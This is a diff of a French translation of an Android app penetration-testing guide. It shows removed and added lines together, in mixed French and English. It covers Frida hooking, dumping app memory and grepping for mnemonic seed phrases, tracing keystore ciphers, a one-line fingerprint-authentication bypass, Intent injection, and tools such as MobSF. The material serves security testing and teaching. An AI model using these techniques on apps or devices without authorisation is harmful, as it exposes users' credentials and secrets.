Recherche de vulnérabilités web courantes -Il est important de rechercher aussi les vulnérabilités web courantes dans l'application. Les informations détaillées pour les identifier et les atténuer dépassent le cadre de ce résumé mais sont largement traitées ailleurs. +Il est important de rechercher également les vulnérabilités web courantes dans l'application. Les informations détaillées sur l'identification et l'atténuation de ces vulnérabilités dépassent le cadre de ce résumé mais sont largement couvertes ailleurs. ### Frida -[Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour développeurs, reverse‑engineers et chercheurs en sécurité.\ -**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes à l'exécution pour changer le comportement, modifier des valeurs, extraire des valeurs, exécuter du code différent...**\ -Si vous voulez pentest des applications Android vous devez savoir utiliser Frida. +[Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour développeurs, reverse-engineers, et chercheurs en sécurité.\ +**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes au runtime pour changer le comportement, modifier des valeurs, extraire des valeurs, exécuter du code différent...**\ +Si vous voulez pentester des applications Android vous devez savoir utiliser Frida. -- Apprenez à utiliser Frida : [**Frida tutorial**](frida-tutorial/index.html) -- Quelques "GUI" pour actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Objection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Vous pouvez trouver des scripts Frida intéressants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Essayez de bypasser les mécanismes anti-debugging / anti-frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs)) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & workflow de contournement SSL pinning +#### Anti-instrumentation & SSL pinning bypass workflow {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Dump mémoire - Fridump** +### **Dumper la mémoire - Fridump** -Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas, comme des mots de passe ou des mnemonics. +Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas stocker, comme des mots de passe ou des mnémoniques. -Avec [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez dumper la mémoire de l'app avec: +En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez dumper la mémoire de l'app avec: ```bash # With PID python3 fridump3.py -u @@ -528,63 +528,65 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Cela va dump la mémoire dans le dossier ./dump, et là vous pouvez grep avec quelque chose comme : +Cela va dump la mémoire dans le dossier ./dump, et là vous pouvez utiliser grep avec quelque chose comme : ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Données sensibles dans Keystore** +### **Données sensibles dans le Keystore** -Sur Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec des privilèges suffisants il est encore **possible d'y accéder**. Comme les applications ont tendance à stocker ici **des données sensibles en clair**, les pentests devraient le vérifier en tant que root user, car quelqu'un ayant un accès physique à l'appareil pourrait voler ces données. +Sur Android, le Keystore est l'endroit idéal pour stocker des données sensibles, cependant, avec des privilèges suffisants, il est toujours **possible d'y accéder**. -Même si une app stocke des données dans le keystore, les données doivent être chiffrées. +Comme les applications ont tendance à stocker ici des **données sensibles en clair**, les pentests doivent vérifier cela en tant qu'utilisateur root car quelqu'un ayant un accès physique à l'appareil pourrait être capable de voler ces données. -Pour accéder aux données à l'intérieur du keystore vous pourriez utiliser ce Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Même si une application stocke des données dans le keystore, les données doivent être chiffrées. + +Pour accéder aux données dans le keystore, vous pouvez utiliser ce script Frida : [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -En utilisant le script Frida suivant, il pourrait être possible de **bypass fingerprint authentication** que certaines applications Android mettent en œuvre pour **protect certain sensitive areas:** +En utilisant le script Frida suivant, il peut être possible de **bypass fingerprint authentication** que des applications Android mettent en place afin de **protéger certaines zones sensibles :** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Images d'arrière-plan** -Lorsque vous mettez une application en arrière-plan, Android stocke un **instantané de l'application**, de sorte que lorsqu'elle est rétablie au premier plan, Android commence à charger l'image avant l'application, donnant l'impression que l'application s'est chargée plus rapidement. +Lorsque vous placez une application en arrière-plan, Android enregistre un **snapshot de l'application** afin que, lorsqu'elle est ramenée au premier plan, il commence par charger l'image avant l'application, donnant l'impression que l'app s'est chargée plus rapidement. -Cependant, si cet instantané contient des **informations sensibles**, quelqu'un ayant accès à l'instantané pourrait **voler ces infos** (notez que vous avez besoin de root pour y accéder). +Cependant, si ce snapshot contient des **informations sensibles**, une personne ayant accès au snapshot pourrait **voler ces informations** (note : il faut les privilèges root pour y accéder). -Les instantanés sont généralement stockés à : **`/data/system_ce/0/snapshots`** +Les snapshots sont généralement stockés ici : **`/data/system_ce/0/snapshots`** -Android fournit un moyen de **prévenir la capture d'écran en définissant le paramètre de layout FLAG_SECURE**. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, l'empêchant d'apparaître dans les captures d'écran ou d'être affiché sur des écrans non sécurisés. +Android fournit un moyen de **prévenir la capture d'écran en définissant le paramètre FLAG_SECURE** du layout. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, l'empêchant d'apparaître dans des captures d'écran ou d'être affiché sur des écrans non sécurisés. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Cet outil peut vous aider à gérer différents outils pendant l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Cet outil peut vous aider à gérer différents outils lors de l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Les développeurs créent souvent des composants proxies comme des activities, services et broadcast receivers qui traitent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué. +Les développeurs créent souvent des composants proxy comme activities, services et broadcast receivers qui traitent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué. -Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécute, ce qui peut conduire à des injections d'Intent malveillantes. +Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non-exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` convertissant des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécutant, ce qui peut conduire à des injections d'Intent malveillantes. ### Essential Takeaways -- **Intent Injection** est similaire au problème Open Redirect du web. -- Les exploits impliquent de passer des objets `Intent` en tant qu'extras, qui peuvent être redirigés pour exécuter des opérations non sécurisées. -- Cela peut exposer des composants non exportés et des content providers aux attaquants. -- La conversion d'URL en `Intent` par `WebView` peut faciliter des actions non désirées. +- **Intent Injection** is similar to web's Open Redirect issue. +- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations. +- It can expose non-exported components and content providers to attackers. +- `WebView`’s URL to `Intent` conversion can facilitate unintended actions. ### Android Client Side Injections and others Vous connaissez probablement ce type de vulnérabilités depuis le Web. Vous devez être particulièrement prudent avec ces vulnérabilités dans une application Android : - **SQL Injection:** Lors du traitement de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées. -- **JavaScript Injection (XSS):** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Les WebViews devraient avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être sauvegardé sur le disque +- **JavaScript Injection (XSS):** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** Les WebViews doivent avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Dans plusieurs cas, quand l'application Android termine la session le cookie n'est pas révoqué ou il peut même être sauvegardé sur le disque - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -597,51 +599,51 @@ Vous connaissez probablement ce type de vulnérabilités depuis le Web. Vous dev ![](<../../images/image (866).png>) -**Évaluation des vulnérabilités de l'application** via une belle interface web. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez préparer l'environnement). +**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Remarquez que MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -De plus, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez au dossier racine de l'application, sélectionnez tout et créez un ZIPfile), il pourra également l'analyser. +Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. -MobSF vous permet aussi de **diff/Compare** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Vous pouvez aussi régler `VT_UPLOAD` sur `False`, dans ce cas le **hash** sera **upload** au lieu du fichier. +MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. ### Assisted Dynamic analysis with MobSF -**MobSF** peut aussi être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionneront pas). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -L'**analyseur dynamique** de MobSF peut : +**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +The **MobSF dynamic analyser** can: -- **Dump application data** (URLs, logs, clipboard, captures d'écran faites par vous, captures d'écran faites par "**Exported Activity Tester**", emails, bases de données SQLite, fichiers XML, et autres fichiers créés). Tout ceci est fait automatiquement sauf pour les captures d'écran : vous devez appuyer quand vous voulez une capture d'écran ou appuyer sur "**Exported Activity Tester**" pour obtenir des captures de toutes les activités exportées. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** -À partir des versions **Android > 5**, il démarrera **automatiquement Frida** et définira les paramètres globaux de **proxy** pour **capture** le trafic. Il ne capturera que le trafic de l'application testée. +From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. **Frida** -Par défaut, il utilisera aussi certains Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\ -MobSF peut aussi **invoke exported activities**, prendre des **screenshots** de celles-ci et les **save** pour le rapport. +By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ +MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. -Pour **start** les tests dynamiques, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs générés par les Frida scripts et sur "**Live API Monitor**" pour voir toutes les invocations des méthodes hookées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\ -MobSF permet aussi de charger vos propres **Frida scripts** (pour envoyer les résultats de vos Frida scripts à MobSF utilisez la fonction `send()`). Il contient également **several pre-written scripts** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, appuyer sur "**Load**" et appuyer sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**"). +To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ +MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../images/image (419).png>) -De plus, vous disposez de quelques fonctionnalités auxiliaires Frida : +Moreover, you have some Auxiliary Frida functionalities: -- **Enumerate Loaded Classes**: Il affichera toutes les classes chargées -- **Capture Strings**: Il affichera toutes les chaînes capturées pendant l'utilisation de l'application (très bruyant) -- **Capture String Comparisons**: Peut être très utile. Il **montrera les 2 chaînes being compared** et si le résultat était True or False. -- **Enumerate Class Methods**: Indiquez le nom de la classe (comme "java.io.File") et il imprimera toutes les méthodes de la classe. -- **Search Class Pattern**: Recherche des classes par pattern -- **Trace Class Methods**: **Trace** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). Rappelez-vous qu'au départ MobSF trace plusieurs méthodes Android Api intéressantes. +- **Enumerate Loaded Classes**: It will print all the loaded classes +- **Capture Strings**: It will print all the capture strings while using the application (super noisy) +- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. +- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. +- **Search Class Pattern**: Search classes by pattern +- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. -Une fois que vous avez sélectionné le module auxiliaire que vous voulez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**". +Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". **Shell** -MobSF fournit également un shell avec quelques commandes **adb**, **MobSF commands**, et des **shell** **commands** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes : +Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: ```bash help shell ls @@ -650,34 +652,34 @@ exported_activities services receivers ``` -**HTTP tools** +**Outils HTTP** -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +When HTTP traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bouton ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". From the second option, you can **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\ To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Une fois l'analyse dynamique terminée avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz http requests** et rechercher des vulnérabilités. +Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. > [!TIP] -> Après avoir effectué une analyse dynamique avec MobSF, les paramètres proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez réparer les paramètres proxy en exécutant : +> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Analyse dynamique assistée avec Inspeckage You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ Cet outil utilise des **Hooks** pour vous indiquer **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -C'est un **excellent outil pour effectuer une analyse statique avec une GUI** +C'est un **excellent outil pour effectuer une analyse statique avec une interface graphique** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Cet outil est conçu pour rechercher plusieurs **security related Android application vulnerabilities**, soit dans le **source code** soit dans des **packaged APKs**. L'outil est aussi **capable of creating a "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test. +Cet outil est conçu pour rechercher plusieurs **vulnérabilités de sécurité liées aux applications Android**, soit dans le **code source** soit dans des **APKs packagés**. L'outil est également **capable de créer un APK déployable "Proof-of-Concept"** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -686,10 +688,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Affiche tous les fichiers extraits pour une consultation facile -- Décompile automatiquement les APK en Java et Smali -- Analyse AndroidManifest.xml pour les vulnérabilités et comportements courants -- Analyse statique du code source pour les vulnérabilités et comportements courants +- Affiche tous les fichiers extraits pour consultation facile +- Décompile automatiquement les fichiers APK au format Java et Smali +- Analyse AndroidManifest.xml à la recherche de vulnérabilités et de comportements courants +- Analyse statique du code source pour détecter des vulnérabilités et des comportements courants - Informations sur l'appareil - et plus encore ```bash @@ -697,9 +699,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER est une application en ligne de commande qui peut être utilisée sous Windows, MacOS X et Linux, et qui analyse des _.apk_ files à la recherche de vulnérabilités. Il le fait en décompressant les APKs et en appliquant une série de règles pour détecter ces vulnérabilités. +SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse les fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités. -Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles selon ses besoins. +Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont il a besoin. Téléchargez les derniers binaires depuis la [download page](https://superanalyzer.rocks/download.html) ``` @@ -709,17 +711,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn est un outil **crossplatform** qui aide les développeurs, bugbounty hunters et ethical hackers effectuant [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles. +StaCoAn est un outil multiplateforme qui aide les développeurs, bugbounty hunters et ethical hackers à réaliser du static code analysis sur des applications mobiles. -Le concept est que vous glissiez-déposiez votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle générera pour vous un rapport visuel et portable. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée. +Le principe est que vous glissez-déposez le fichier de votre application mobile (un .apk ou .ipa) sur l'application StaCoAn et elle génère un rapport visuel et portable pour vous. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée. -Télécharger[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Télécharger la [latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités potentielles dans les applications Android.\ +AndroBugs Framework est un système d'analyse des vulnérabilités Android qui aide les développeurs ou hackers à trouver des vulnérabilités de sécurité potentielles dans les applications Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +729,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** est un outil dont le but principal est de détecter et d'avertir l'utilisateur au sujet de comportements potentiellement malveillants développés par une application Android. +**Androwarn** est un outil dont l'objectif principal est de détecter et d'avertir l'utilisateur des comportements potentiellement malveillants développés par une application Android. -La détection est effectuée par l'**analyse statique** du Dalvik bytecode de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard). +La détection est effectuée via la **static analysis** du Dalvik bytecode de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard). -Cet outil recherche les **comportements courants des applications 'malveillantes'** comme : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Cet outil recherche les **comportements courants des applications "malveillantes"** tels que : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,76 +741,76 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** est un Mobile Application Reverse engineering and Analysis Framework. C'est un outil qui regroupe des outils couramment utilisés pour le reverse engineering et l'analyse d'applications mobiles, afin d'assister les tests des applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus simple et plus accessible aux développeurs d'applications mobiles et aux professionnels de la sécurité. +**MARA** est un Framework d'ingénierie inverse et d'analyse d'applications mobiles (Mobile Application Reverse engineering and Analysis Framework). C'est un outil qui regroupe des outils couramment utilisés pour le reverse engineering et l'analyse d'applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobile d'OWASP. Son objectif est de rendre cette tâche plus facile et plus accessible aux développeurs d'applications mobiles et aux professionnels de la sécurité. -It is able to: +Il peut : -- Extract Java and Smali code using different tools -- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Extract private information from the APK using regexps. -- Analyze the Manifest. -- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) +- Extraire le code Java et Smali en utilisant différents outils +- Analyser les APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extraire des informations privées depuis l'APK en utilisant des regexps. +- Analyser le Manifest. +- Analyser les domaines trouvés en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Déobfusquer l'APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Utile pour détecter les malware: [https://koodous.com/](https://koodous.com/) +Utile pour détecter du malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Notez que, selon le service et la configuration que vous utilisez pour obfuscate le code, les secrets peuvent ou non rester obfuscated. +Notez que, selon le service et la configuration utilisés pour obfusquer le code, les secrets peuvent ou non finir obfusqués. ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions non utilisées. ProGuard est un logiciel libre distribué sous la GNU General Public License, version 2. +D'après [Wikipedia](): **ProGuard** est un outil open source en ligne de commande qui réduit, optimise et obfusque le code Java. Il peut optimiser le bytecode ainsi que détecter et supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la GNU General Public License, version 2. -ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. +ProGuard est distribué dans le cadre de l'Android SDK et s'exécute lors de la compilation de l'application en mode release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Trouvez un guide pas-à-pas pour déobfusquer l'apk sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) Last time we checked, the Dexguard mode of operation was: +(D'après ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était : -- load a resource as an InputStream; -- feed the result to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- charger une ressource en tant que InputStream ; +- fournir le résultat à une classe héritant de FilterInputStream pour le déchiffrer ; +- effectuer une obfuscation inutile pour faire perdre quelques minutes à un reverser ; +- fournir le résultat déchiffré à un ZipInputStream pour obtenir un fichier DEX ; +- finalement charger le DEX résultant comme une Resource en utilisant la méthode `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** +**DeGuard inverse le processus d'obfuscation effectué par les outils d'obfuscation Android. Cela permet de nombreuses analyses de sécurité, notamment l'inspection de code et l'identification des bibliothèques.** -Vous pouvez uploader un APK obfuscated sur leur plateforme. +Vous pouvez téléverser un APK obfusqué sur leur plateforme. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. +C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans des apps android et déobfusquer le code d'applications android. Utilise l'API publique Gemini de Google. ### [Simplify](https://github.com/CalebFenton/simplify) -It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. +C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une app** pour comprendre son comportement puis **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. +APKiD vous donne des informations sur **comment un APK a été créé**. Il identifie de nombreux **compilers**, **packers**, **obfuscators**, et d'autres trucs bizarres. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android. ### Manual -[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Lisez ce tutoriel pour apprendre quelques astuces sur **la façon d'inverser une obfuscation personnalisée**](manual-deobfuscation.md) -## Laboratoires +## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b est une virtual machine de sécurité Android basée sur ubuntu-mate qui inclut une collection des derniers frameworks, tutoriels et labs provenant de différents experts en sécurité et chercheurs pour le reverse engineering et 